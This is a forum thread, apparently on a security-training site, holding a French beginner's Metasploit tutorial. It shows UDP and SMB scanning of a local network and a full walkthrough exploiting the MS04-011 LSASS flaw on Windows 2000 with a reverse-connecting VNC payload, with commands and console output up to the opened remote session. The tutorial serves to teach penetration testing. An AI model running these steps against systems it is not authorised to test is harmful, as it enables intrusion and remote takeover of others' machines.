Metasploit

Beginner

This topic contains 6 replies, has 1 voice, and was last updated by  lovehorse 2 weeks, 5 days ago.

  • Author
    Posts
  • #169518
     lovehorse 
    Participant

    hi,
    i’m a beginner in metasploit and want to learn the base quickly. somebody to explain me?

  • #169520
     lovehorse 
    Participant

    Code :
    msf > use auxiliary/scanner/discovery/udp_sweep
    msf auxiliary(udp_sweep) > set RHOSTS 192.168.1.0/24
    RHOSTS => 192.168.1.0/24
    msf auxiliary(udp_sweep) > run

    [*] Sending 10 probes to 192.168.1.0->192.168.1.255 (256 hosts)

    [*] Discovered NetBIOS on 192.168.1.3:137(<Name>ITCEF<domain>ALLAH<MAC>xx:xx:xx:xx:xx:xx:xx)

    [*] Discovered NetBIOS on 192.168.1.4:137(<Name>BIBA<domain>WTF<MAC>xx:xx:xx:xx:xx:xx:xx)

    [*] Auxiliary module execution completed

  • #169521
     lovehorse 
    Participant

    On lance avec la cmd run après avoir spécifié la plage d’IPs distantes avec set RHOSTS xxx.xxx.xxx.xxx/xxx
    Ce qui vous donne les noms, adresses MACs de toutes les machines scannées.

    Un autre exemple avec le module smb_version pour nous donner le nom du système installé sur l’hôte choisi:
    Code :
    msf auxiliary(udp_sweep) > use auxiliary/scanner/smb/smb_version
    msf auxiliary(smb_version) > set RHOSTS 192.168.1.3
    RHOSTS => 192.168.1.3
    msf auxiliary(smb_version) > run

    [*] 192.168.1.3:139 is running GNU/Linux Ubuntu 10.04 (language:English) (name:ITCEF) (domain:ALLAH)

    [*] Auxiliary module execution completed

  • #169522
     lovehorse 
    Participant

    Pour le deuxième hôte:
    Code :
    msf auxiliary(udp_sweep) > use auxiliary/scanner/smb/smb_version
    msf auxiliary(smb_version) > set RHOSTS 192.168.1.4
    RHOSTS => 192.168.1.4
    msf auxiliary(smb_version) > run

    [*] 192.168.1.4:139 is running Windows 2000 Pro (language:Unknown) (name:BIBA) (domain:WTF)

    [*] Auxiliary module execution completed

  • #169523
     lovehorse 
    Participant

    IV – Exemple d’exploitation

    Dans cet exemple on exploitera une vulnérabilité du service LSASS dans Windows 2000 Pro pour charger une DLL dans laquelle est encapsulé un serveur VNC.

    On ouvre une console Metasploit:
    Code :
    ./msfconsole

    On va exploiter la vulnérabilité ms04_011_lsass:
    Code :
    msf > use exploit/windows/smb/ms04_011_lsass

    On spécifie l’hôte distant:
    Code :
    msf exploit(ms04_011_lsass) > set RHOST 192.168.1.4
    RHOST => 192.168.1.4

    Le payload à utiliser:
    Code :
    msf exploit(ms04_011_lsass) > set PAYLOAD windows/vncinject/reverse_tcp
    PAYLOAD => windows/vncinject/reverse_tcp

    On configure le payload pour lui indiquer notre adresse IP:
    Code :
    msf exploit(ms04_011_lsass) > set LHOST 192.168.1.3
    LHOST => 192.168.1.3

  • #169524
     lovehorse 
    Participant

    Code :
    msf exploit(ms04_011_lsass) > show options
    Module options:

    Name Current Setting Required Description
    —- ————— ——– ———–
    RHOST 192.168.1.4 yes The target address
    RPORT 445 yes Set the SMB service port

    Payload options:

    Name Current Setting Required Description
    —- ————— ——– ———–
    AUTOVNC true yes Automatically launch VNC viewer if present
    DLL C:/Documents and Settings/ yes The local path to the VNC DLL to sdamaye/Application Data/ upload
    msf3/data/vncdll.dll
    EXITFUNC thread yes Exit technique: seh, thread, process
    LHOST 192.168.1.3 yes The local address
    LPORT 4444 yes The local port
    VNCHOST 127.0.0.1 yes The local host to use for the VNC proxy
    VNCPORT 5900 yes The local port to use for the VNC proxy

    Exploit target:

    Id Name
    — —-
    0 Automatic Targetting
    On spécifie le port d’écoute LOCAL:
    Code :
    msf exploit(ms04_011_lsass) > set LPORT 4321
    LPORT => 4321

    On spécifie la cible, par défaut c’est 0 ce qui signifie que c’est automatique
    1: Windows 2000 English
    2: Windows XP English
    Donc nous on choisit 1
    Code :
    msf exploit(ms04_011_lsass) > set TARGET 1
    TARGET => 1

    Enfin on lance l’exploit ! :heink:
    Code :
    msf exploit(ms04_011_lsass) > exploit

    [*] Started reverse handler

    [*] Binding to 3919286a-b10c-11d0-9ba8-00c04fd92ef5:0.0@ncacn_np:192.168.1.4[\lsarpc]…

    [*] Bound to 3919286a-b10c-11d0-9ba8-00c04fd92ef5:0.0@ncacn_np:192.168.1.4[\lsarpc]…

    [*] Getting OS information…

    [*] Trying to exploit Windows 5.0

    [*] Transmitting intermediate stager for over-sized stage…(89 bytes)

    [*] Sending stage (2834 bytes)

    [*] Sleeping before handling stage…

    [*] Uploading DLL (327693 bytes)…

    [*] Upload completed.

    [*] Starting local TCP relay on 127.0.0.1:5900…

    [*] Local TCP relay started.

    [*] Launched vnciewer in the background.

    [*] VNC Server session 1 opened (192.168.1.3:4321 -> 192.168.1.4:1029)

    [*] The DCERPC service did not reply to our request

    Si tout a fonctionné correctement vous aurez normalement une fenêtre VNC pointant sur l’hôte distant Smile
    POWNED !

    —————————–
    Tutoriel écrit par Itcef.
    Libre à vous d’en faire ce que vous voulez.

You must be logged in to reply to this topic.

Contact Us

Thoughts, suggestions, issues? Send us an email, and we'll get back to you.

Sending

Copyright ©2018 Caendra, Inc.

Sign in with Caendra

Forgot password?Sign up

Forgot your details?